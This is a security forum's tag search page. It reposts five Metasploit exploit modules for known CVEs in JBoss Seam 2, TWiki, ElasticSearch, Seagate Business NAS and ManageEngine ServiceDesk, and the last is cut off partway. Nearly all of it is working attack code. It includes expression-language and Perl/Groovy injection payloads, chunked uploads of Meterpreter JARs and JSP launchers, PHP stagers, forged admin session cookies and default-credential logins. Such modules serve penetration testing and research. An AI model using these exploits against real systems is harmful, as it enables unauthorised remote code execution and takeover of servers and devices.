Jump to content

Search the Community

Showing results for tags 'res'.

  • Search By Tags

    Type tags separated by commas.
  • Search By Author

Content Type


Forums

  • Informatii generale
    • Anunturi importante
    • Bine ai venit
    • Proiecte RST
  • Sectiunea tehnica
    • Exploituri
    • Challenges (CTF)
    • Bug Bounty
    • Programare
    • Securitate web
    • Reverse engineering & exploit development
    • Mobile security
    • Sisteme de operare si discutii hardware
    • Electronica
    • Wireless Pentesting
    • Black SEO & monetizare
  • Tutoriale
    • Tutoriale in romana
    • Tutoriale in engleza
    • Tutoriale video
  • Programe
    • Programe hacking
    • Programe securitate
    • Programe utile
    • Free stuff
  • Discutii generale
    • RST Market
    • Off-topic
    • Discutii incepatori
    • Stiri securitate
    • Linkuri
    • Cosul de gunoi
  • Club Test's Topics
  • Clubul saraciei absolute's Topics
  • Chernobyl Hackers's Topics
  • Programming & Fun's Jokes / Funny pictures (programming related!)
  • Programming & Fun's Programming
  • Programming & Fun's Programming challenges
  • Bani pă net's Topics
  • Cumparaturi online's Topics
  • Web Development's Forum
  • 3D Print's Topics

Find results in...

Find results that contain...


Date Created

  • Start

    End


Last Updated

  • Start

    End


Filter by number of...

Joined

  • Start

    End


Group


Website URL


Yahoo


Jabber


Skype


Location


Interests


Biography


Location


Interests


Occupation

Found 5 results

  1. # # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/proto/http' require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'JBoss Seam 2 File Upload and Execute', 'Description' => %q{ Versions of the JBoss Seam 2 framework < 2.2.1CR2 fails to properly sanitize inputs to some JBoss Expression Language expressions. As a result, attackers can gain remote code execution through the application server. This module leverages RCE to upload and execute a meterpreter payload. Versions of the JBoss AS admin-console are known to be vulnerable to this exploit, without requiring authentication. Tested against JBoss AS 5 and 6, running on Linux with JDKs 6 and 7. This module provides a more efficient method of exploitation - it does not loop to find desired Java classes and methods. NOTE: the check for upload success is not 100% accurate. NOTE 2: The module uploads the meterpreter JAR and a JSP to launch it. }, 'Author' => [ 'vulp1n3 <vulp1n3[at]gmail.com>' ], 'References' => [ # JBoss EAP 4.3.0 does not properly sanitize JBoss EL inputs ['CVE', '2010-1871'], ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=615956'], ['URL', 'http://blog.o0o.nu/2010/07/cve-2010-1871-jboss-seam-framework.html'], ['URL', 'http://archives.neohapsis.com/archives/bugtraq/2013-05/0117.html'] ], 'DisclosureDate' => "Aug 05 2010", 'License' => MSF_LICENSE, 'Platform' => %w{ java }, 'Targets' => [ [ 'Java Universal', { 'Arch' => ARCH_JAVA, 'Platform' => 'java' }, ] ], 'DefaultTarget' => 0 )) register_options( [ Opt::RPORT(8080), OptString.new('AGENT', [ true, "User-Agent to send with requests", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"]), OptString.new('CTYPE', [ true, "Content-Type to send with requests", "application/x-www-form-urlencoded"]), OptString.new('TARGETURI', [ true, "URI that is built on JBoss Seam 2", "/admin-console/login.seam"]), OptInt.new('TIMEOUT', [ true, 'Timeout for web requests', 10]), OptString.new('FNAME', [ false, "Name of file to create - NO EXTENSION! (default: random)", nil]), OptInt.new('CHUNKSIZE', [ false, 'Size in bytes of chunk per request', 1024]), ], self.class) end def check vprint_status("#{rhost}:#{rport} Checking for vulnerable JBoss Seam 2") uri = target_uri.path res = send_request_cgi( { 'uri' => normalize_uri(uri), 'method' => 'POST', 'ctype' => datastore['CTYPE'], 'agent' => datastore['AGENT'], 'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime')}" }, timeout=datastore['TIMEOUT']) if (res and res.code == 302 and res.headers['Location']) vprint_debug("Server sent a 302 with location") if (res.headers['Location'] =~ %r(public\+static\+java\.lang\.Runtime\+java.lang.Runtime.getRuntime\%28\%29)) report_vuln({ :host => rhost, :port => rport, :name => "#{self.name} - #{uri}", :refs => self.references, :info => "Module #{self.fullname} found vulnerable JBoss Seam 2 resource." }) return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end else return Exploit::CheckCode::Unknown end # If we reach this point, we didn't find the service return Exploit::CheckCode::Unknown end def execute_cmd(cmd) cmd_to_run = Rex::Text.uri_encode(cmd) vprint_status("#{rhost}:#{rport} Sending command: #{cmd_to_run}") uri = target_uri.path res = send_request_cgi( { 'uri' => normalize_uri(uri), 'method' => 'POST', 'ctype' => datastore['CTYPE'], 'agent' => datastore['AGENT'], 'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('java.lang.Runtime')).exec('#{cmd_to_run}')}" }, timeout=datastore['TIMEOUT']) if (res and res.code == 302 and res.headers['Location']) if (res.headers['Location'] =~ %r(user=java.lang.UNIXProcess)) vprint_status("#{rhost}:#{rport} Exploit successful") else vprint_status("#{rhost}:#{rport} Exploit failed.") end else vprint_status("#{rhost}:#{rport} Exploit failed.") end end def call_jsp(jspname) # TODO ugly way to strip off last resource on a path uri = target_uri.path *keep,ignore = uri.split(/\//) keep.push(jspname) uri = keep.join("/") uri = "/" + uri if (uri[0] != "/") res = send_request_cgi( { 'uri' => normalize_uri(uri), 'method' => 'POST', 'ctype' => datastore['CTYPE'], 'agent' => datastore['AGENT'], 'data' => "sessionid=" + Rex::Text.rand_text_alpha(32) }, timeout=datastore['TIMEOUT']) if (res and res.code == 200) vprint_status("Successful request to JSP") else vprint_error("Failed to request JSP") end end def upload_jsp(filename,jarname) jsp_text = <<EOJSP <%@ page import="java.io.*" %><%@ page import="java.net.*" %><% URLClassLoader cl = new java.net.URLClassLoader(new java.net.URL[]{new java.io.File(request.getRealPath("/#{jarname}")).toURI().toURL()}); Class c = cl.loadClass("metasploit.Payload"); c.getMethod("main",Class.forName("[Ljava.lang.String;")).invoke(null,new java.lang.Object[]{new java.lang.String[0]}); %> EOJSP vprint_status("Uploading JSP to launch payload") status = upload_file_chunk(filename,'false',jsp_text) if status vprint_status("JSP uploaded to to #{filename}") else vprint_error("Failed to upload file.") end @pl_sent = true end def upload_file_chunk(filename, append='false', chunk) # create URL-safe Base64-encoded version of chunk b64 = Rex::Text.encode_base64(chunk) b64 = b64.gsub("+","%2b") b64 = b64.gsub("/","%2f") uri = target_uri.path res = send_request_cgi( { 'uri' => normalize_uri(uri), 'method' => 'POST', 'ctype' => datastore['CTYPE'], 'agent' => datastore['AGENT'], 'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.io.FileOutputStream').getConstructor('java.lang.String',expressions.getClass().forName('java.lang.Boolean').getField('TYPE').get(null)).newInstance(request.getRealPath('/#{filename}').replaceAll('\\\\\\\\','/'),#{append}).write(expressions.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer(request.getParameter('c'))).close()}&c=" + b64 }, timeout=datastore['TIMEOUT']) if (res and res.code == 302 and res.headers['Location']) # TODO Including the conversationId part in this regex might cause # failure on other Seam applications. Needs more testing if (res.headers['Location'] =~ %r(user=&conversationId)) #vprint_status("#{rhost}:#{rport} Exploit successful.") return true else #vprint_status("#{rhost}:#{rport} Exploit failed.") return false end else #vprint_status("#{rhost}:#{rport} Exploit failed.") return false end end def get_full_path(filename) #vprint_debug("Trying to find full path for #{filename}") uri = target_uri.path res = send_request_cgi( { 'uri' => normalize_uri(uri), 'method' => 'POST', 'ctype' => datastore['CTYPE'], 'agent' => datastore['AGENT'], 'data' => "actionOutcome=/success.xhtml?user%3d%23{request.getRealPath('/#{filename}').replaceAll('\\\\\\\\','/')}" }, timeout=datastore['TIMEOUT']) if (res and res.code == 302 and res.headers['Location']) # the user argument should be set to the result of our call - which # will be the full path of our file matches = /.*user=(.+)\&.*/.match(res.headers['Location']) #vprint_debug("Location is " + res.headers['Location']) if (matches and matches.captures) return Rex::Text::uri_decode(matches.captures[0]) else return nil end else return nil end end def java_stager(fname, chunk_size) @payload_exe = fname + ".jar" jsp_name = fname + ".jsp" #data = payload.encoded_jar.pack data = payload.encoded_jar.pack append = 'false' while (data.length > chunk_size) status = upload_file_chunk(@payload_exe, append, data[0, chunk_size]) if status vprint_debug("Uploaded chunk") else vprint_error("Failed to upload chunk") break end data = data[chunk_size, data.length - chunk_size] # first chunk is an overwrite, afterwards, we need to append append = 'true' end status = upload_file_chunk(@payload_exe, 'true', data) if status vprint_status("Payload uploaded to " + @payload_exe) else vprint_error("Failed to upload file.") end # write a JSP that can call the payload in the jar upload_jsp(jsp_name, @payload_exe) pe_path = get_full_path(@payload_exe) || @payload_exe jsp_path = get_full_path(jsp_name) || jsp_name # try to clean up our stuff; register_files_for_cleanup(pe_path, jsp_path) # call the JSP to launch the payload call_jsp(jsp_name) end def exploit @pl_sent = false if check == Exploit::CheckCode::Vulnerable fname = datastore['FNAME'] || Rex::Text.rand_text_alpha(8+rand(8)) vprint_status("#{rhost}:#{rport} Host is vulnerable") vprint_status("#{rhost}:#{rport} Uploading file...") # chunking code based on struts_code_exec_exception_delegator append = 'false' chunk_size = datastore['CHUNKSIZE'] # sanity check if (chunk_size <= 0) vprint_error("Invalid chunk size #{chunk_size}") return end vprint_debug("Sending in chunks of #{chunk_size}") case target['Platform'] when 'java' java_stager(fname, chunk_size) else fail_with(Failure::NoTarget, 'Unsupported target platform!') end handler end end end Source
  2. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'TWiki Debugenableplugins Remote Code Execution', 'Description' => %q{ TWiki 4.0.x-6.0.0 contains a vulnerability in the Debug functionality. The value of the debugenableplugins parameter is used without proper sanitization in an Perl eval statement which allows remote code execution }, 'Author' => [ 'Netanel Rubin', # from Check Point - Discovery 'h0ng10', # Metasploit Module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2014-7236'], [ 'OSVDB', '112977'], [ 'URL', 'http://twiki.org/cgi-bin/view/Codev/SecurityAlert-CVE-2014-7236'] ], 'Privileged' => false, 'Targets' => [ [ 'Automatic', { 'Payload' => { 'BadChars' => "", 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl python php', } }, 'Platform' => ['unix'], 'Arch' => ARCH_CMD } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Oct 09 2014')) register_options( [ OptString.new('TARGETURI', [ true, "TWiki path", '/do/view/Main/WebHome' ]), OptString.new('PLUGIN', [true, "A existing TWiki Plugin", 'BackupRestorePlugin']) ], self.class) end def send_code(perl_code) uri = target_uri.path data = "debugenableplugins=#{datastore['PLUGIN']}%3b" + CGI.escape(perl_code) + "%3bexit" res = send_request_cgi!({ 'method' => 'POST', 'uri' => uri, 'data' => data }) return res end def check rand_1 = rand_text_alpha(5) rand_2 = rand_text_alpha(5) code = "print(\"Content-Type:text/html\\r\\n\\r\\n#{rand_1}\".\"#{rand_2}\")" res = send_code(code) if res and res.code == 200 return CheckCode::Vulnerable if res.body == rand_1 + rand_2 end CheckCode::Unknown end def exploit code = "print(\"Content-Type:text/html\\r\\n\\r\\n\");" code += "require('MIME/Base64.pm');MIME::Base64->import();" code += "system(decode_base64('#{Rex::Text.encode_base64(payload.encoded)}'));exit" res = send_code(code) handler end end Source
  3. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'ElasticSearch Search Groovy Sandbox Bypass', 'Description' => %q{ This module exploits a remote command execution (RCE) vulnerability in ElasticSearch, exploitable by default on ElasticSearch prior to 1.4.3. The bug is found in the REST API, which does not require authentication, where the search function allows groovy code execution and its sandbox can be bypassed using java.lang.Math.class.forName to reference arbitrary classes. It can be used to execute arbitrary Java code. This module has been tested successfully on ElasticSearch 1.4.2 on Ubuntu Server 12.04. }, 'Author' => [ 'Cameron Morris', # Vulnerability discovery 'Darren Martyn', # Public Exploit 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2015-1427'], ['URL', 'https://jordan-wright.github.io/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/'], ['URL', 'https://github.com/XiphosResearch/exploits/tree/master/ElasticSearch'], ['URL', 'http://drops.wooyun.org/papers/5107'] ], 'Platform' => 'java', 'Arch' => ARCH_JAVA, 'Targets' => [ ['ElasticSearch 1.4.2', {}] ], 'DisclosureDate' => 'Feb 11 2015', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(9200), OptString.new('TARGETURI', [true, 'The path to the ElasticSearch REST API', "/"]) ], self.class) end def check result = Exploit::CheckCode::Safe if vulnerable? result = Exploit::CheckCode::Vulnerable end result end def exploit print_status("#{peer} - Checking vulnerability...") unless vulnerable? fail_with(Failure::Unknown, "#{peer} - Java has not been executed, aborting...") end print_status("#{peer} - Discovering TEMP path...") res = execute(java_tmp_dir) tmp_dir = parse_result(res) if tmp_dir.nil? fail_with(Failure::Unknown, "#{peer} - Could not identify TEMP path...") else print_good("#{peer} - TEMP path on '#{tmp_dir}'") end print_status("#{peer} - Discovering remote OS...") res = execute(java_os) os = parse_result(res) if os.nil? fail_with(Failure::Unknown, "#{peer} - Could not identify remote OS...") else print_good("#{peer} - Remote OS is '#{os}'") end if os =~ /win/i tmp_file = "#{tmp_dir}#{rand_text_alpha(4 + rand(4))}.jar" else tmp_file = File.join(tmp_dir, "#{rand_text_alpha(4 + rand(4))}.jar") end register_files_for_cleanup(tmp_file) print_status("#{peer} - Trying to load metasploit payload...") java = java_load_class(os, tmp_file) execute(java) end def vulnerable? java = 'java.lang.Math.class.forName("java.lang.Runtime")' vprint_status("#{peer} - Trying to get a reference to java.lang.Runtime...") res = execute(java) result = parse_result(res) if result.nil? vprint_status("#{peer} - no response to test") return false elsif result == 'class java.lang.Runtime' return true end false end def parse_result(res) unless res vprint_error("#{peer} - No response") return nil end unless res.code == 200 && res.body vprint_error("#{peer} - Target answered with HTTP code #{res.code} (with#{res.body ? '' : 'out'} a body)") return nil end begin json = JSON.parse(res.body.to_s) rescue JSON::ParserError return nil end begin result = json['hits']['hits'][0]['fields']['msf_result'] rescue return nil end result.is_a?(::Array) ? result.first : result end def java_tmp_dir 'java.lang.Math.class.forName("java.lang.System").getProperty("java.io.tmpdir")' end def java_os 'java.lang.Math.class.forName("java.lang.System").getProperty("os.name")' end def java_load_class(os, tmp_file) if os =~ /win/i tmp_file.gsub!(/\\/, '\\\\\\\\') end java = [ 'c=java.lang.Math.class.forName("java.io.FileOutputStream");', 'b64=java.lang.Math.class.forName("sun.misc.BASE64Decoder");', "i=c.getDeclaredConstructor(String.class).newInstance(\"#{tmp_file}\");", 'b64_i=b64.newInstance();', "i.write(b64_i.decodeBuffer(\"#{Rex::Text.encode_base64(payload.encoded)}\"));", 'loader_class=java.lang.Math.class.forName("java.net.URLClassLoader");', 'file_class=java.lang.Math.class.forName("java.io.File");', "file_url=file_class.getDeclaredConstructor(String.class).newInstance(\"#{tmp_file}\").toURI().toURL();", 'loader=loader_class.newInstance();', 'loader.addURL(file_url);', 'm=loader.loadClass(\'metasploit.Payload\');', 'm.main(null);' ] java.join end def execute(java, timeout = 20) payload = { "size" => 1, "query" => { "filtered" => { "query" => { "match_all" => {} } } }, "script_fields" => { "msf_result" => { "script" => java } } } res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path.to_s, "_search"), 'method' => 'POST', 'data' => JSON.generate(payload) }, timeout) res end end Source
  4. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rexml/document' class Metasploit4 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Seagate Business NAS Unauthenticated Remote Command Execution', 'Description' => %q{ Some Seagate Business NAS devices are vulnerable to command execution via a local file include vulnerability hidden in the language parameter of the CodeIgniter session cookie. The vulnerability manifests in the way the language files are included in the code on the login page, and hence is open to attack from users without the need for authentication. The cookie can be easily decrypted using a known static encryption key and re-encrypted once the PHP object string has been modified. This module has been tested on the STBN300 device. }, 'Author' => [ 'OJ Reeves <oj[at]beyondbinary.io>' # Discovery and Metasploit module ], 'References' => [ ['CVE', '2014-8684'], ['CVE', '2014-8686'], ['CVE', '2014-8687'], ['EDB', '36202'], ['URL', 'http://www.seagate.com/au/en/support/external-hard-drives/network-storage/business-storage-2-bay-nas/'], ['URL', 'https://beyondbinary.io/advisory/seagate-nas-rce/'] ], 'DisclosureDate' => 'Mar 01 2015', 'Privileged' => true, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Payload' => {'DisableNops' => true}, 'Targets' => [['Automatic', {}]], 'DefaultTarget' => 0, 'License' => MSF_LICENSE )) register_options([ OptString.new('TARGETURI', [true, 'Path to the application root', '/']), OptString.new('ADMINACCOUNT', [true, 'Name of the NAS admin account', 'admin']), OptString.new('COOKIEID', [true, 'ID of the CodeIgniter session cookie', 'ci_session']), OptString.new('XORKEY', [true, 'XOR Key used for the CodeIgniter session', '0f0a000d02011f0248000d290d0b0b0e03010e07']) ]) end # # Write a string value to a serialized PHP object without deserializing it first. # If the value exists it will be updated. # def set_string(php_object, name, value) prefix = "s:#{name.length}:\"#{name}\";s:" if php_object.include?(prefix) # the value already exists in the php blob, so update it. return php_object.gsub("#{prefix}\\d+:\"[^\"]*\"", "#{prefix}#{value.length}:\"#{value}\"") end # the value doesn't exist in the php blob, so create it. count = php_object.split(':')[1].to_i + 1 php_object.gsub(/a:\d+(.*)}$/, "a:#{count}\\1#{prefix}#{value.length}:\"#{value}\";}") end # # Findez ze holez! # def check begin res = send_request_cgi( 'uri' => normalize_uri(target_uri), 'method' => 'GET', 'headers' => { 'Accept' => 'text/html' } ) if res && res.code == 200 headers = res.to_s # validate headers if headers.incude?('X-Powered-By: PHP/5.2.13') && headers.include?('Server: lighttpd/1.4.28') # and make sure that the body contains the title we'd expect if res.body.include?('Login to BlackArmor') return Exploit::CheckCode::Appears end end end rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable # something went wrong, assume safe. end Exploit::CheckCode::Safe end # # Executez ze sploitz! # def exploit # Step 1 - Establish a session with the target which will give us a PHP object we can # work with. begin print_status("#{peer} - Establishing session with target ...") res = send_request_cgi({ 'uri' => normalize_uri(target_uri), 'method' => 'GET', 'headers' => { 'Accept' => 'text/html' } }) if res && res.code == 200 && res.to_s =~ /#{datastore['COOKIEID']}=([^;]+);/ cookie_value = $1.strip else fail_with(Exploit::Failure::Unreachable, "#{peer} - Unexpected response from server.") end rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable fail_with(Exploit::Failure::Unreachable, "#{peer} - Unable to establish connection.") end # Step 2 - Decrypt the cookie so that we have a PHP object we can work with directly # then update it so that it's an admin session before re-encrypting print_status("#{peer} - Upgrading session to administrator ...") php_object = decode_cookie(cookie_value) vprint_status("#{peer} - PHP Object: #{php_object}") admin_php_object = set_string(php_object, 'is_admin', 'yes') admin_php_object = set_string(admin_php_object, 'username', datastore['ADMINACCOUNT']) vprint_status("#{peer} - Admin PHP object: #{admin_php_object}") admin_cookie_value = encode_cookie(admin_php_object) # Step 3 - Extract the current host configuration so that we don't lose it. host_config = nil # This time value needs to be consistent across calls config_time = ::Time.now.to_i begin print_status("#{peer} - Extracting existing host configuration ...") res = send_request_cgi( 'uri' => normalize_uri(target_uri, 'index.php/mv_system/get_general_setup'), 'method' => 'GET', 'headers' => { 'Accept' => 'text/html' }, 'cookie' => "#{datastore['COOKIEID']}=#{admin_cookie_value}", 'vars_get' => { '_' => config_time } ) if res && res.code == 200 res.body.split("\r\n").each do |l| if l.include?('general_setup') host_config = l break end end else fail_with(Exploit::Failure::Unreachable, "#{peer} - Unexpected response from server.") end rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable fail_with(Exploit::Failure::Unreachable, "#{peer} - Unable to establish connection.") end print_good("#{peer} - Host configuration extracted.") vprint_status("#{peer} - Host configuration: #{host_config}") # Step 4 - replace the host device description with a custom payload that can # be used for LFI. We have to keep the payload small because of size limitations # and we can't put anything in with '$' in it. So we need to make a simple install # payload which will write a required payload to disk that can be executes directly # as the last part of the payload. This will also be self-deleting. param_id = rand_text_alphanumeric(3) # There are no files on the target file system that start with an underscore # so to allow for a small file size that doesn't collide with an existing file # we'll just prefix it with an underscore. payload_file = "_#{rand_text_alphanumeric(3)}.php" installer = "file_put_contents('#{payload_file}', base64_decode($_POST['#{param_id}']));" stager = Rex::Text.encode_base64(installer) stager = xml_encode("<?php eval(base64_decode('#{stager}')); ?>") vprint_status("#{peer} - Stager: #{stager}") # Butcher the XML directly rather than attempting to use REXML. The target XML # parser is way to simple/flaky to deal with the proper stuff that REXML # spits out. desc_start = host_config.index('" description="') + 15 desc_end = host_config.index('"', desc_start) xml_payload = host_config[0, desc_start] + stager + host_config[desc_end, host_config.length] vprint_status(xml_payload) # Step 5 - set the host description to the stager so that it is written to disk print_status("#{peer} - Uploading stager ...") begin res = send_request_cgi( 'uri' => normalize_uri(target_uri, 'index.php/mv_system/set_general_setup'), 'method' => 'POST', 'headers' => { 'Accept' => 'text/html' }, 'cookie' => "#{datastore['COOKIEID']}=#{admin_cookie_value}", 'vars_get' => { '_' => config_time }, 'vars_post' => { 'general_setup' => xml_payload } ) unless res && res.code == 200 fail_with(Exploit::Failure::Unreachable, "#{peer} - Stager upload failed (invalid result).") end rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable fail_with(Exploit::Failure::Unreachable, "#{peer} - Stager upload failed (unable to establish connection).") end print_good("#{peer} - Stager uploaded.") # Step 6 - Invoke the stage, passing in a self-deleting php script body. print_status("#{peer} - Executing stager ...") payload_php_object = set_string(php_object, 'language', "../../../etc/devicedesc\x00") payload_cookie_value = encode_cookie(payload_php_object) self_deleting_payload = "<?php unlink(__FILE__);\r\n#{payload.encoded}; ?>" errored = false begin res = send_request_cgi( 'uri' => normalize_uri(target_uri), 'method' => 'POST', 'headers' => { 'Accept' => 'text/html' }, 'cookie' => "#{datastore['COOKIEID']}=#{payload_cookie_value}", 'vars_post' => { param_id => Rex::Text.encode_base64(self_deleting_payload) } ) if res && res.code == 200 print_good("#{peer} - Stager execution succeeded, payload ready for execution.") else print_error("#{peer} - Stager execution failed (invalid result).") errored = true end rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable print_error("#{peer} - Stager execution failed (unable to establish connection).") errored = true end # Step 7 - try to restore the previous configuration, allowing exceptions # to bubble up given that we're at the end. This step is important because # we don't want to leave a trail of junk on disk at the end. print_status("#{peer} - Restoring host config ...") res = send_request_cgi( 'uri' => normalize_uri(target_uri, 'index.php/mv_system/set_general_setup'), 'method' => 'POST', 'headers' => { 'Accept' => 'text/html' }, 'cookie' => "#{datastore['COOKIEID']}=#{admin_cookie_value}", 'vars_get' => { '_' => config_time }, 'vars_post' => { 'general_setup' => host_config } ) # Step 8 - invoke the installed payload, but only if all went to plan. unless errored print_status("#{peer} - Executing payload at #{normalize_uri(target_uri, payload_file)} ...") res = send_request_cgi( 'uri' => normalize_uri(target_uri, payload_file), 'method' => 'GET', 'headers' => { 'Accept' => 'text/html' }, 'cookie' => "#{datastore['COOKIEID']}=#{payload_cookie_value}" ) end end # # Take a CodeIgnitor cookie and pull out the PHP object using the XOR # key that we've been given. # def decode_cookie(cookie_content) cookie_value = Rex::Text.decode_base64(URI.decode(cookie_content)) pass = xor(cookie_value, datastore['XORKEY']) result = '' (0...pass.length).step(2).each do |i| result << (pass[i].ord ^ pass[i + 1].ord).chr end result end # # Take a serialised PHP object cookie value and encode it so that # CodeIgniter thinks it's legit. # def encode_cookie(cookie_value) rand = Rex::Text.sha1(rand_text_alphanumeric(40)) block = '' (0...cookie_value.length).each do |i| block << rand[i % rand.length] block << (rand[i % rand.length].ord ^ cookie_value[i].ord).chr end cookie_value = xor(block, datastore['XORKEY']) cookie_value = CGI.escape(Rex::Text.encode_base64(cookie_value)) vprint_status("#{peer} - Cookie value: #{cookie_value}") cookie_value end # # XOR a value against a key. The key is cycled. # def xor(string, key) result = '' string.bytes.zip(key.bytes.cycle).each do |s, k| result << (s ^ k) end result end # # Simple XML substitution because the target XML handler isn't really # full blown or smart. # def xml_encode(str) str.gsub(/</, '<').gsub(/>/, '>') end end
  5. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'ManageEngine Multiple Products Authenticated File Upload', 'Description' => %q{ This module exploits a directory traversal vulnerability in ManageEngine ServiceDesk, AssetExplorer, SupportCenter and IT360 when uploading attachment files. The JSP that accepts the upload does not handle correctly '../' sequences, which can be abused to write in the file system. Authentication is needed to exploit this vulnerability, but this module will attempt to login using the default credentials for the administrator and guest accounts. Alternatively you can provide a pre-authenticated cookie or a username / password combo. For IT360 targets enter the RPORT of the ServiceDesk instance (usually 8400). All versions of ServiceDesk prior v9 build 9031 (including MSP but excluding v4), AssetExplorer, SupportCenter and IT360 (including MSP) are vulnerable. At the time of release of this module, only ServiceDesk v9 has been fixed in build 9031 and above. This module has been been tested successfully in Windows and Linux on several versions. }, 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability Discovery and Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2014-5301'], ['OSVDB', '116733'], ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_sd_file_upload.txt'], ['URL', 'http://seclists.org/fulldisclosure/2015/Jan/5'] ], 'DefaultOptions' => { 'WfsDelay' => 30 }, 'Privileged' => false, # Privileged on Windows but not on Linux targets 'Platform' => 'java', 'Arch' => ARCH_JAVA, 'Targets' => [ [ 'Automatic', { } ], [ 'ServiceDesk Plus v5-v7.1 < b7016/AssetExplorer v4/SupportCenter v5-v7.9', { 'attachment_path' => '/workorder/Attachment.jsp' } ], [ 'ServiceDesk Plus/Plus MSP v7.1 >= b7016 - v9.0 < b9031/AssetExplorer v5-v6.1', { 'attachment_path' => '/common/FileAttachment.jsp' } ], [ 'IT360 v8-v10.4', { 'attachment_path' => '/common/FileAttachment.jsp' } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Dec 15 2014')) register_options( [ Opt::RPORT(8080), OptString.new('JSESSIONID', [false, 'Pre-authenticated JSESSIONID cookie (non-IT360 targets)']), OptString.new('IAMAGENTTICKET', [false, 'Pre-authenticated IAMAGENTTICKET cookie (IT360 target only)']), OptString.new('USERNAME', [true, 'The username to login as', 'guest']), OptString.new('PASSWORD', [true, 'Password for the specified username', 'guest']), OptString.new('DOMAIN_NAME', [false, 'Name of the domain to logon to']) ], self.class) end def get_version res = send_request_cgi({ 'uri' => '/', 'method' => 'GET' }) # Major version, minor version, build and product (sd = servicedesk; ae = assetexplorer; sc = supportcenterl; it = it360) version = [ 9999, 9999, 0, 'sd' ] if res && res.code == 200 if res.body.to_s =~ /ManageEngine ServiceDesk/ if res.body.to_s =~ / \| ([0-9]{1}\.{1}[0-9]{1}\.?[0-9]*)/ output = $1 version = [output[0].to_i, output[2].to_i, '0', 'sd'] end if res.body.to_s =~ /src='\/scripts\/Login\.js\?([0-9]+)'><\/script>/ # newer builds version[2] = $1.to_i elsif res.body.to_s =~ /'\/style\/style\.css', '([0-9]+)'\);<\/script>/ # older builds version[2] = $1.to_i end elsif res.body.to_s =~ /ManageEngine AssetExplorer/ if res.body.to_s =~ /ManageEngine AssetExplorer ([0-9]{1}\.{1}[0-9]{1}\.?[0-9]*)/ || res.body.to_s =~ /<div class="login-versioninfo">version ([0-9]{1}\.{1}[0-9]{1}\.?[0-9]*)<\/div>/ output = $1 version = [output[0].to_i, output[2].to_i, 0, 'ae'] end if res.body.to_s =~ /src="\/scripts\/ClientLogger\.js\?([0-9]+)"><\/script>/ version[2] = $1.to_i end elsif res.body.to_s =~ /ManageEngine SupportCenter Plus/ # All of the vulnerable sc installations are "old style", so we don't care about the major / minor version version[3] = 'sc' if res.body.to_s =~ /'\/style\/style\.css', '([0-9]+)'\);<\/script>/ # ... but get the build number if we can find it version[2] = $1.to_i end elsif res.body.to_s =~ /\/console\/ConsoleMain\.cc/ # IT360 newer versions version[3] = 'it' end elsif res && res.code == 302 && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})/ # IT360 older versions, not a very good detection string but there is no alternative? version[3] = 'it' end version end def check version = get_version # TODO: put fixed version on the two ifs below once (if...) products are fixed # sd was fixed on build 9031 # ae and sc still not fixed if (version[0] <= 9 && version[0] > 4 && version[2] < 9031 && version[3] == 'sd') || (version[0] <= 6 && version[2] < 99999 && version[3] == 'ae') || (version[3] == 'sc' && version[2] < 99999) return Exploit::CheckCode::Appears end if (version[2] > 9030 && version[3] == 'sd') || (version[2] > 99999 && version[3] == 'ae') || (version[2] > 99999 && version[3] == 'sc') return Exploit::CheckCode::Safe else # An IT360 check always lands here, there is no way to get the version easily return Exploit::CheckCode::Unknown end end def authenticate_it360(port, path, username, password) if datastore['DOMAIN_NAME'] == nil 